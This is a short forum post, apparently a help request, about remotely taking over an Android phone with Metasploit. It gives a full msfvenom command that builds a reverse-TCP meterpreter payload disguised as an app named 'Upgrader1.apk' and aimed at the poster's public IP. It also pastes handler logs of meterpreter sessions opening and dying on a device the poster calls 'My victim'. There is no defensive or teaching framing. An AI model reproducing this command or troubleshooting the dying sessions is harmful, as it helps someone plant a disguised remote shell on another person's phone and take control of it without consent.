Problem with Hacking Android Remotely by Metasploit

Hi

I have created an apk with msfvenom command

msfvenom -p android/meterpreter/reverse_tcp LHOST=(Public IP) LPORT=80 R > /root/Upgrader1.apk

I was successful in installing on android but

* Started reverse TCP handler on (My internal IP):(Opened port)

* Starting the payload handler...

but after sometime the error comes

* Started reverse TCP handler on 192.168.10.3:80

* Starting the payload handler...

* Sending stage (67614 bytes) to 192.168.10.3

* Meterpreter session 1 opened (192.168.10.3:80 -> 192.168.10.3:35548) at 2017-05-20 18:11:42 +0000

* Sending stage (67614 bytes) to 192.168.10.3

* Meterpreter session 2 opened (192.168.10.3:80 -> 192.168.10.3:35550) at 2017-05-20 18:11:43 +0000

* Sending stage (67614 bytes) to 192.168.10.3

* 192.168.10.3 - Meterpreter session 1 closed. Reason: Died

* 192.168.10.3 - Meterpreter session 2 closed. Reason: Died

* 192.168.10.3 - Meterpreter session 3 closed. Reason: Died

With nmap I checked, port 80 was open on my router but not open on My victim.
